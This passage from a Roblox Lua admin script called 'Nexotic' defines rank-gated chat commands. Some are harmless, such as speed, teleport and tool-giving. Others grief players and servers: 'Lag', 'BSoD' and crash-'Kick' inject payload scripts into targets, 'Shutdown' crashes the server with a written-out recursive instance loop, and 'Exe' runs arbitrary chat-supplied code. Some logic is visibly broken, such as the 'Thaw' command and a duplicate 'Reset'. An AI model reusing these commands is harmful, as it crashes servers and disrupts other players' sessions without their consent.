  9061. PlaceSpecificRank(Plr)
  9062. end))
  9063. coroutine.resume(coroutine.create(function()
  9064. if Injected[JoinPlrName] ~= nil then
  9065. Injected[JoinPlrName] = nil
  9066. end
  9067. end))
  9068. coroutine.resume(coroutine.create(function()
  9069. Dismiss(Plr)
  9070. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  9071. end))
  9072. end
  9073. end)
  9074. end)
  9075.  
  9076. Plrs.PlayerRemoving:connect(function(Plr)
  9077. wait(.1)
  9078. ypcall(function()
  9079. if Removed == false then
  9080. local LeftPlrName = Plr.Name
  9081. coroutine.resume(coroutine.create(function()
  9082. if Injected[LeftPlrName] ~= nil then
  9083. Injected[LeftPlrName] = nil
  9084. end
  9085. end))
  9086. end
  9087. end)
  9088. end)
  9089.  
  9090. coroutine.resume(coroutine.create(function()
  9091. Delay(0, function()
  9092. while FoundLocalScript == false do wait()
  9093. ypcall(function()
  9094. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  9095. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  9096. for _,c in pairs(v:children()) do
  9097. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  9098. local NewVal = c:Clone()
  9099. NewVal.Name = "LoadingVal"
  9100. for _,s in pairs(v:GetChildren()) do
  9101. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  9102. print("Found Owner")
  9103. OwnSource = s.Name
  9104. print(OwnSource)
  9105. break
  9106. end
  9107. end
  9108. wait()
  9109. LS = v:Clone()
  9110. NewVal.Parent = LS
  9111. LSSource = "LoadingVal"
  9112. FoundLocalScript = true
  9113. break
  9114. end
  9115. end
  9116. end
  9117. end
  9118. end)
  9119. end
  9120. end)
  9121. end))
  9122.  
  9123. --Commands
  9124.  
  9125. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  9126. Dismiss(Speaker.Name)
  9127. Ping("By: " .. string.reverse("voTi dna ,suerypmEcidicA"), Speaker)
  9128. Ping("Your rank is: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  9129. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  9130. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  9131. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  9132. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  9133. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  9134. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  9135. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  9136. end)
  9137.  
  9138. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  9139. Dismiss(Speaker.Name)
  9140. end)
  9141.  
  9142. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  9143. local PlrTab = getPlayer(Speaker, Msg)
  9144. if #PlrTab > 0 then
  9145. for _,v in pairs(PlrTab) do
  9146. ypcall(function()
  9147. v.Character:BreakJoints()
  9148. Ping("Killed "..v.Name, Speaker, 5)
  9149. end)
  9150. end
  9151. end
  9152. end)
  9153.  
  9154. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  9155. local PlrTab = getPlayer(Speaker, Msg)
  9156. if #PlrTab > 0 then
  9157. for _,v in pairs(PlrTab) do
  9158. ypcall(function()
  9159. if v.Name ~= Owner then
  9160. NewLS(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  9161. Ping("Muted "..v.Name, Speaker, 5)
  9162. end
  9163. end)
  9164. end
  9165. end
  9166. end)
  9167.  
  9168. Command("Resize", 2,"resize", function(Msg,Speaker)
  9169. local PlrTab = getPlayer(Speaker, Msg)
  9170. if #PlrTab > 0 then
  9171. local Split = GetSplit(Msg)
  9172. local Players = GetPlayers(Msg:sub(1,Split-1),Speaker)
  9173. local Size = tonumber(Msg:sub(Split+1))
  9174. for _,v in pairs(Players) do
  9175. local Joints = {}
  9176. local function ScaleParts(Mod,Factor)
  9177. for i,v in pairs(Mod:GetChildren()) do
  9178. if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("ShirtGraphic") then
  9179. v:Destroy()
  9180. end
  9181. if v.ClassName == "CharacterMesh" then
  9182. bodyp = v.BodyPart
  9183. if bodyp == Enum.BodyPart.LeftArm then
  9184. nmesh = Instance.new("SpecialMesh",v.Parent["Left Arm"])
  9185. elseif bodyp == Enum.BodyPart.LeftLeg then
  9186. nmesh = Instance.new("SpecialMesh",v.Parent["Left Leg"])
  9187. elseif bodyp == Enum.BodyPart.RightArm then
  9188. nmesh = Instance.new("SpecialMesh",v.Parent["Right Arm"])
  9189. elseif bodyp == Enum.BodyPart.RightLeg then
  9190. nmesh = Instance.new("SpecialMesh",v.Parent["Right Leg"])
  9191. elseif bodyp == Enum.BodyPart.Torso then
  9192. nmesh = Instance.new("SpecialMesh",v.Parent["Torso"])
  9193. end
  9194. nmesh.MeshType = "FileMesh"
  9195. nmesh.MeshId = "http://www.roblox.com/Asset/?id="..v.MeshId
  9196. nmesh.TextureId = "http://www.roblox.com/Asset/?id="..v.OverlayTextureId
  9197. v:Destroy()
  9198. end
  9199. end
  9200. for i,v in pairs(Mod:GetChildren()) do
  9201. if v:IsA("BasePart") then
  9202. local MeshFound = nil
  9203. for i2,v2 in pairs(v:GetChildren()) do
  9204. if v2:IsA("DataModelMesh") then
  9205. MeshFound = v2
  9206. end
  9207. if v2:IsA("DataModelMesh") and v2.ClassName ~= "BlockMesh" and v2.ClassName ~= "CylinderMesh" and (v2.MeshType == Enum.MeshType.FileMesh or v2.MeshType == Enum.MeshType.Sphere or v2.MeshType == Enum.MeshType.Cylinder or v2.MeshType == Enum.MeshType.Wedge) then
  9208. v2.Scale = v2.Scale * Factor
  9209. MeshFound = v2
  9210. end
  9211. end
  9212. if MeshFound == nil then
  9213. Instance.new("BlockMesh",v)
  9214. end
  9215. v.FormFactor = "Custom"
  9216. local CFR = (v.CFrame-(v.CFrame.p)) + (v.CFrame.p * Factor)
  9217. v.Size = v.Size*Factor
  9218. end
  9219. ScaleParts(v,Factor)
  9220. end
  9221. end
  9222. local function ScaleJoints(Mod,Factor)
  9223. for i,v in pairs(Mod:GetChildren()) do
  9224. if v:IsA("JointInstance") then
  9225. table.insert(Joints,{v,v.Part0,v.Part1})
  9226. v.Part0 = nil
  9227. v.Part1 = nil
  9228. v.C0 = (v.C0-(v.C0.p)) + (v.C0.p * Factor)
  9229. v.C1 = (v.C1-(v.C1.p)) + (v.C1.p * Factor)
  9230. end
  9231. ScaleJoints(v,Factor)
  9232. end
  9233. end
  9234. local function ReconnectJoints()
  9235. for i,v in pairs(Joints) do
  9236. v[1].Part0 = v[2]
  9237. v[1].Part1 = v[3]
  9238. end
  9239. Joints = {}
  9240. end
  9241. local function ScaleModel(Mod,Factor)
  9242. ScaleJoints(Mod,Factor)
  9243. ScaleParts(Mod,Factor)
  9244. ReconnectJoints()
  9245. pcall(function() Mod:MakeJoints() end)
  9246. end
  9247. ScaleModel(v.Character,Size)
  9248. end
  9249. end
  9250. end)
  9251.  
  9252. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  9253. local PlrTab = getPlayer(Speaker, Msg)
  9254. if #PlrTab > 0 then
  9255. for _,v in pairs(PlrTab) do
  9256. ypcall(function()
  9257. game:service'TeleportService':Teleport(game.PlaceId,v.Character)
  9258. Ping("Rejoined "..v.Name, Speaker, 5)
  9259. end)
  9260. end
  9261. end
  9262. end)
  9263.  
  9264. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  9265. local PlrTab = getPlayer(Speaker, Msg)
  9266. if #PlrTab > 0 then
  9267. for _,v in pairs(PlrTab) do
  9268. ypcall(function()
  9269. NewLS(JailSource, v.Backpack, v.Character, v.PlayerGui)
  9270. Ping("Mind Jailed "..v.Name, Speaker, 5)
  9271. end)
  9272. end
  9273. end
  9274. end)
  9275.  
  9276. Command("Clear", 4, "Clears everything besides terrain", function(Msg, Speaker)
  9277. for i,v in pairs(workspace:children()) do
  9278. local IsChar = false
  9279. pcall(function()
  9280. for j,k in pairs(game:service'NetworkServer':children()) do
  9281. if pcall(function() k:GetPlayer() end) then
  9282. if v.Name == k:GetPlayer().Name then
  9283. IsChar = true
  9284. end
  9285. end
  9286. end
  9287. end)
  9288. if IsChar == false then
  9289. if v.Name ~= "Terrain" then
  9290. if v.ClassName ~= 'Script' then
  9291. pcall(function() v:remove() end)
  9292. end
  9293. end
  9294. else
  9295. pcall(function()
  9296. for j,k in pairs(v:children()) do
  9297. if k.ClassName ~= 'CharacterMesh' and k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then
  9298. if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then
  9299. k:Destroy()
  9300. end
  9301. end
  9302. end
  9303. end)
  9304. end
  9305. end
  9306. CreateBase()
  9307. end
  9308. )
  9309.  
  9310. Command("Reset", 4, "Respawns a player", function(Msg, Speaker)
  9311. local PlrTab = getPlayer(Speaker, Msg)
  9312. if #PlrTab > 0 then
  9313. for _,v in pairs(PlrTab) do
  9314. ypcall(function()
  9315. v:LoadCharacter()
  9316. Ping("Reset "..v.Name, Speaker, 5)
  9317. end)
  9318. end
  9319. end
  9320. end)
  9321.  
  9322. Command("Lag", 4, "Lags a Player", function(Msg, Speaker)
  9323. local PlrTab = getPlayer(Speaker, Msg)
  9324. if #PlrTab > 0 then
  9325. for _,v in pairs(PlrTab) do
  9326. ypcall(function()
  9327. NewLS(Lag, v.Backpack, v.Character, v.PlayerGui)
  9328. Ping("Lagged "..v.Name, Speaker, 5)
  9329. end)
  9330. end
  9331. end
  9332. end)
  9333.  
  9334. Command("BSoD", 4, "Bsod a Player", function(Msg, Speaker)
  9335. local PlrTab = getPlayer(Speaker, Msg)
  9336. if #PlrTab > 0 then
  9337. for _,v in pairs(PlrTab) do
  9338. ypcall(function()
  9339. NewLS(BSoD, v.Backpack, v.Character, v.PlayerGui)
  9340. Ping("BSoDed "..v.Name, Speaker, 5)
  9341. end)
  9342. end
  9343. end
  9344. end)
  9345.  
  9346. Command("Nilsupport", 4, "Gives Nil Support", function(Msg, Speaker)
  9347. local PlrTab = getPlayer(Speaker, Msg)
  9348. if #PlrTab > 0 then
  9349. for _,v in pairs(PlrTab) do
  9350. ypcall(function()
  9351. NewLS(NilSupport, v.Backpack)
  9352. Ping("Connected "..v.Name, Speaker, 5)
  9353. end)
  9354. end
  9355. end
  9356. end)
  9357.  
  9358. Command("Darkhorse", 4, "Gives player darkhorse", function(Msg, Speaker)
  9359. local PlrTab = getPlayer(Speaker, Msg)
  9360. if #PlrTab > 0 then
  9361. for _,v in pairs(PlrTab) do
  9362. ypcall(function()
  9363. NewLS(DarkHorse, v.Backpack, v.Character, v.PlayerGui)
  9364. Ping("Spawned a Darkhorse", Speaker, 5)
  9365. end)
  9366. end
  9367. end
  9368. end)
  9369.  
  9370. Command("Pad", 4, "Gives a player a Pad", function(Msg, Speaker)
  9371. local PlrTab = getPlayer(Speaker, Msg)
  9372. if #PlrTab > 0 then
  9373. for _,v in pairs(PlrTab) do
  9374. ypcall(function()
  9375. NewLS(Pad, v.Backpack, v.Character, v.PlayerGui)
  9376. end)
  9377. end
  9378. end
  9379. end)
  9380.  
  9381. Command("Glider", 4, "Gives a player a Glider", function(Msg, Speaker)
  9382. local PlrTab = getPlayer(Speaker, Msg)
  9383. if #PlrTab > 0 then
  9384. for _,v in pairs(PlrTab) do
  9385. ypcall(function()
  9386. NewLS(Glider, v.Backpack, v.Character, v.PlayerGui)
  9387. end)
  9388. end
  9389. end
  9390. end)
  9391.  
  9392. Command("Bow", 4, "Gives a player a RagDoll Bow", function(Msg, Speaker)
  9393. local PlrTab = getPlayer(Speaker, Msg)
  9394. if #PlrTab > 0 then
  9395. for _,v in pairs(PlrTab) do
  9396. ypcall(function()
  9397. NewLS(Bow, v.Backpack, v.Character, v.PlayerGui)
  9398. end)
  9399. end
  9400. end
  9401. end)
  9402.  
  9403. Command("Fairy", 4, "Makes a player a fairy", function(Msg, Speaker)
  9404. local PlrTab = getPlayer(Speaker, Msg)
  9405. if #PlrTab > 0 then
  9406. for _,v in pairs(PlrTab) do
  9407. ypcall(function()
  9408. NewLS(Fairy, v.Backpack, v.Character, v.PlayerGui)
  9409. end)
  9410. end
  9411. end
  9412. end)
  9413.  
  9414. Command("GhostSword", 4, "Gives a player a GhostSword", function(Msg, Speaker)
  9415. local PlrTab = getPlayer(Speaker, Msg)
  9416. if #PlrTab > 0 then
  9417. for _,v in pairs(PlrTab) do
  9418. ypcall(function()
  9419. NewLS(GhostSword, v.Backpack, v.Character, v.PlayerGui)
  9420. end)
  9421. end
  9422. end
  9423. end)
  9424.  
  9425. Command("Leafblower", 4, "Gives a player a Leafblower", function(Msg, Speaker)
  9426. local PlrTab = getPlayer(Speaker, Msg)
  9427. if #PlrTab > 0 then
  9428. for _,v in pairs(PlrTab) do
  9429. ypcall(function()
  9430. NewLS(LeafBlower, v.Backpack, v.Character, v.PlayerGui)
  9431. end)
  9432. end
  9433. end
  9434. end)
  9435.  
  9436. Command("Pistol", 4, "Gives a player a pistol", function(Msg, Speaker)
  9437. local PlrTab = getPlayer(Speaker, Msg)
  9438. if #PlrTab > 0 then
  9439. for _,v in pairs(PlrTab) do
  9440. ypcall(function()
  9441. NewLS(Pistol, v.Backpack, v.Character, v.PlayerGui)
  9442. end)
  9443. end
  9444. end
  9445. end)
  9446.  
  9447. Command("ProbeM", 4, "Probes someone", function(Msg, Speaker)
  9448. local PlrTab = getPlayer(Speaker, Msg)
  9449. if #PlrTab > 0 then
  9450. for _,v in pairs(PlrTab) do
  9451. ypcall(function()
  9452. NewLS(Probe, v.Backpack, v.Character, v.PlayerGui)
  9453. Ping("Probed "..v.Name, Speaker, 5)
  9454. end)
  9455. end
  9456. end
  9457. end)
  9458.  
  9459. Command("B0ob", 4, "B0obs a Player", function(Msg, Speaker)
  9460. local PlrTab = getPlayer(Speaker, Msg)
  9461. if #PlrTab > 0 then
  9462. for _,v in pairs(PlrTab) do
  9463. ypcall(function()
  9464. NewLS(B0ob, v.Backpack, v.Character, v.PlayerGui)
  9465. Ping("B0obed "..v.Name, Speaker, 5)
  9466. end)
  9467. end
  9468. end
  9469. end)
  9470.  
  9471. Command("Doge", 4, "Doges a Player", function(Msg, Speaker)
  9472. local PlrTab = getPlayer(Speaker, Msg)
  9473. if #PlrTab > 0 then
  9474. for _,v in pairs(PlrTab) do
  9475. ypcall(function()
  9476. NewLS(Doge, v.Backpack, v.Character, v.PlayerGui)
  9477. Ping("Doges "..v.Name, Speaker, 5)
  9478. end)
  9479. end
  9480. end
  9481. end)
  9482.  
  9483. Command("Mini", 4, "Player Becomes Mini", function(Msg, Speaker)
  9484. local PlrTab = getPlayer(Speaker, Msg)
  9485. if #PlrTab > 0 then
  9486. for _,v in pairs(PlrTab) do
  9487. ypcall(function()
  9488. NewLS(Mini, v.Backpack, v.Character, v.PlayerGui)
  9489. Ping("Minied "..v.Name, Speaker, 5)
  9490. end)
  9491. end
  9492. end
  9493. end)
  9494.  
  9495. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  9496. local PlrTab = getPlayer(Speaker, Msg)
  9497. if #PlrTab > 0 then
  9498. for _,v in pairs(PlrTab) do
  9499. ypcall(function()
  9500. NewLS(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  9501. Ping("UnMuted "..v.Name, Speaker, 5)
  9502. end)
  9503. end
  9504. end
  9505. end)
  9506.  
  9507. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  9508. local Worked = false
  9509. for _,v in pairs(Work:GetChildren()) do
  9510. if string.find(v.Name:lower(), Msg:lower()) then
  9511. if v:IsA("Script") or v:IsA("LocalScript") then
  9512. v.Disabled = true
  9513. v:Destroy()
  9514. Worked = true
  9515. Ping("Disabled Script: "..v.Name, Speaker, 5)
  9516. end
  9517. end
  9518. end
  9519. if Worked == false then
  9520. Ping("Script Not Found", Speaker, 5)
  9521. end
  9522. end)
  9523.  
  9524. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  9525. Dismiss(Speaker)
  9526. local AllScripts = {}
  9527. for _,v in pairs(Work:GetChildren()) do
  9528. if v:IsA("Script") then
  9529. table.insert(AllScripts, v.Name)
  9530. end
  9531. end
  9532. if #AllScripts > 0 then
  9533. for _,v in pairs(AllScripts) do
  9534. Ping(v, Speaker)
  9535. end
  9536. else
  9537. Ping("No Scripts Found", Speaker, 5)
  9538. end
  9539. end)
  9540.  
  9541. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  9542. Dismiss(Speaker)
  9543. local LocalScripts = {}
  9544. for _,v in pairs(All()) do
  9545. ypcall(function()
  9546. for _,x in pairs(v.Character:GetChildren()) do
  9547. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  9548. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  9549. end
  9550. end
  9551. end)
  9552. ypcall(function()
  9553. for _,x in pairs(v.Backpack:GetChildren()) do
  9554. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  9555. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  9556. end
  9557. end
  9558. end)
  9559. ypcall(function()
  9560. for _,x in pairs(v.PlayerGui:GetChildren()) do
  9561. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  9562. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  9563. end
  9564. end
  9565. end)
  9566. end
  9567. if #LocalScripts > 0 then
  9568. for _,v in pairs(LocalScripts) do
  9569. Ping(v, Speaker)
  9570. end
  9571. else
  9572. Ping("No Local Scripts Found", Speaker, 5)
  9573. end
  9574. end)
  9575.  
  9576. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  9577. local Split = GetSplit(Msg)
  9578. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9579. local ScriptName = Msg:sub(Split + 1)
  9580. local FoundLocal = false
  9581. for _,name in pairs(PlrTab) do
  9582. ypcall(function()
  9583. for _,v in pairs(name.Character:GetChildren()) do
  9584. if string.find(v.Name:lower(), ScriptName) then
  9585. if v:IsA("Script") or v:IsA("LocalScript") then
  9586. v.Disabled = true
  9587. v:Destroy()
  9588. FoundLocal = true
  9589. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  9590. end
  9591. end
  9592. end
  9593. end)
  9594. ypcall(function()
  9595. for _,v in pairs(name.Backpack:GetChildren()) do
  9596. if string.find(v.Name:lower(), ScriptName) then
  9597. if v:IsA("Script") or v:IsA("LocalScript") then
  9598. v.Disabled = true
  9599. v:Destroy()
  9600. FoundLocal = true
  9601. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  9602. end
  9603. end
  9604. end
  9605. end)
  9606. ypcall(function()
  9607. for _,v in pairs(name.PlayerGui:GetChildren()) do
  9608. if string.find(v.Name:lower(), ScriptName) then
  9609. if v:IsA("Script") or v:IsA("LocalScript") then
  9610. v.Disabled = true
  9611. v:Destroy()
  9612. FoundLocal = true
  9613. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  9614. end
  9615. end
  9616. end
  9617. end)
  9618. if FoundLocal == false then
  9619. Ping("Local Script Not Found", Speaker, 5)
  9620. end
  9621. end
  9622. end)
  9623.  
  9624. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  9625. LClean()
  9626. Fixl()
  9627. Ping("Lightly Cleaned the Server", Speaker, 5)
  9628. end)
  9629.  
  9630. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  9631. local PlrTab = getPlayer(Speaker, Msg)
  9632. if #PlrTab > 0 then
  9633. for _,v in pairs(PlrTab) do
  9634. ypcall(function()
  9635. v:LoadCharacter()
  9636. Ping("Reset "..v.Name, Speaker, 5)
  9637. end)
  9638. end
  9639. end
  9640. end)
  9641.  
  9642. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  9643. repeat wait() until Speaker.Character:findFirstChild("Torso")
  9644. if Work:findFirstChild("Base") then
  9645. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  9646. else
  9647. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  9648. end
  9649. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  9650. end)
  9651.  
  9652. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  9653. local PlrTab = getPlayer(Speaker, Msg)
  9654. if #PlrTab > 0 then
  9655. for _,v in pairs(PlrTab) do
  9656. ypcall(function()
  9657. v.Character.Torso.Anchored = true
  9658. Ping("Froze "..v.Name, Speaker, 5)
  9659. end)
  9660. end
  9661. end
  9662. end)
  9663.  
  9664. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  9665. local PlrTab = getPlayer(Speaker, Msg)
  9666. if #PlrTab > 0 then
  9667. for _,v in pairs(PlrTab) do
  9668. ypcall(function()
  9669. for _,v2 in pairs(v.Character:GetChildren()) do
  9670. ypcall(function()
  9671. v.Anchored = false
  9672. end)
  9673. end
  9674. Ping("Thawed "..v.Name, Speaker, 5)
  9675. end)
  9676. end
  9677. end
  9678. end)
  9679.  
  9680. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  9681. local PlrTab = getPlayer(Speaker, Msg)
  9682. if #PlrTab > 0 then
  9683. for _,v in pairs(PlrTab) do
  9684. ypcall(function()
  9685. Instance.new("ForceField", v.Character)
  9686. end)
  9687. end
  9688. end
  9689. end)
  9690.  
  9691. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  9692. local PlrTab = getPlayer(Speaker, Msg)
  9693. if #PlrTab > 0 then
  9694. for _,v in pairs(PlrTab) do
  9695. ypcall(function()
  9696. RemObj(v.Character, "ForceField")
  9697. end)
  9698. end
  9699. end
  9700. end)
  9701.  
  9702. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  9703. local Split = GetSplit(Msg)
  9704. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9705. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  9706. if #PlrTab > 0 and #PlrTab2 > 0 then
  9707. for i,v in pairs(PlrTab) do
  9708. ypcall(function()
  9709. for _,v2 in pairs(PlrTab2) do
  9710. ypcall(function()
  9711. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  9712. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  9713. end)
  9714. end
  9715. end)
  9716. end
  9717. end
  9718. end)
  9719.  
  9720. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  9721. MakeExplorer(Speaker)
  9722. end)
  9723.  
  9724. Command("Info", 0, "Shows Information About Nexotic", function(Msg, Speaker)
  9725. wait()
  9726. Dismiss(Speaker)
  9727. Ping("Admin Name: Nexotic", Speaker)
  9728. Ping("Nexotic, By: AcidicEmpyreus", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=AcidicEmpyreus")
  9729. Ping("Nexotic, By: LuaScripterLS", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=LuaScripterLS")
  9730. Ping("Credit To: MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  9731. Ping("Credit To: moderrncombat", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=moderrncombat")
  9732. Ping("Credit To: flipflop8421", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
  9733. Ping("Created on: 8/7/2014", Speaker)
  9734. Ping("ShowGarbage", Speaker)
  9735. end)
  9736.  
  9737. Command("Credit", 0, "Shows Credits on Nexotic", function(Msg, Speaker)
  9738. wait()
  9739. Dismiss(Speaker)
  9740. Ping("Created by: AcidicEmpyreus", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=AcidicEmpyreus")
  9741. Ping("Created by: LuaScripterLS", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=LuaScripterLS")
  9742. Ping("Credit To: MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  9743. Ping("Credit To: moderrncombat", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=moderrncombat")
  9744. Ping("Credit To: flipflop8421", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
  9745. end)
  9746.  
  9747. Command("Ranked", 0, "Shows All Player Ranks", function(Msg, Speaker)
  9748. Dismiss(Speaker)
  9749. for i,v in pairs(All()) do
  9750. Ping(v.Name.."'s Rank: "..FindRank(v))
  9751. end
  9752. end)
  9753.  
  9754. Command("Speed", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  9755. local Split = GetSplit(Msg)
  9756. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9757. local Speed = tonumber(Msg:sub(Split + 1))
  9758. for _,v in pairs(PlrTab) do
  9759. ypcall(function()
  9760. v.Character.Humanoid.WalkSpeed = Speed
  9761. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  9762. end)
  9763. end
  9764. end)
  9765.  
  9766. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  9767. Dismiss(Speaker)
  9768. for i,v in pairs(Injected) do
  9769. Ping(i, Speaker)
  9770. end
  9771. end)
  9772.  
  9773. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  9774. local function BufferOverflow(object)
  9775. object.DescendantAdded:connect(BufferOverflow)
  9776. Instance.new("IntValue", object)
  9777. end
  9778. BufferOverflow(Game)
  9779. end)
  9780.  
  9781. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  9782. local PlrTab = getPlayer(Speaker, Msg)
  9783. if #PlrTab > 0 then
  9784. for _,v in pairs(PlrTab) do
  9785. ypcall(function()
  9786. Crash1(v)
  9787. Ping("Crash Kicked "..v.Name, Speaker, 5)
  9788. end)
  9789. end
  9790. end
  9791. end)
  9792.  
  9793. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  9794. local PlrTab = getPlayer(Speaker, Msg)
  9795. if #PlrTab > 0 then
  9796. for _,v in pairs(PlrTab) do
  9797. ypcall(function()
  9798. ChangeRank(v, -1)
  9799. end)
  9800. end
  9801. end
  9802. end)
  9803.  
  9804. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  9805. ypcall(function()
  9806. local PlrTab = getPlayer(Speaker, Msg)
  9807. if #PlrTab > 0 then
  9808. for _,v in pairs(PlrTab) do
  9809. ypcall(function()
  9810. NewLS(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  9811. end)
  9812. end
  9813. end
  9814. local PlrName = ChangeRank(Msg, 0)
  9815. Ping("Un-Banned "..PlrName, Speaker, 5)
  9816. end)
  9817. end)
  9818.  
  9819. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  9820. Dismiss(Speaker)
  9821. Ping("Commands", Speaker, nil, function()
  9822. Dismiss(Speaker.Name)
  9823. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  9824. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  9825. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  9826. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  9827. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  9828. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  9829. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  9830. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  9831. end)
  9832. Ping("Players", Speaker, nil, function()
  9833. ListPlayers(Speaker)
  9834. end)
  9835. end)
  9836.  
  9837. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  9838. ListPlayers(Speaker)
  9839. end)
  9840.  
  9841. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  9842. local Func,Error = loadstring(Msg)
  9843. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  9844. getfenv(Func).Speaker = Speaker
  9845. if Error == nil then
  9846. coroutine.wrap(function()
  9847. Func()
  9848. end)()
  9849. Ping("Executed Script!", Speaker, 5)
  9850. else
  9851. Ping(Error, Speaker, 10)
  9852. end
  9853. end)
  9854.  
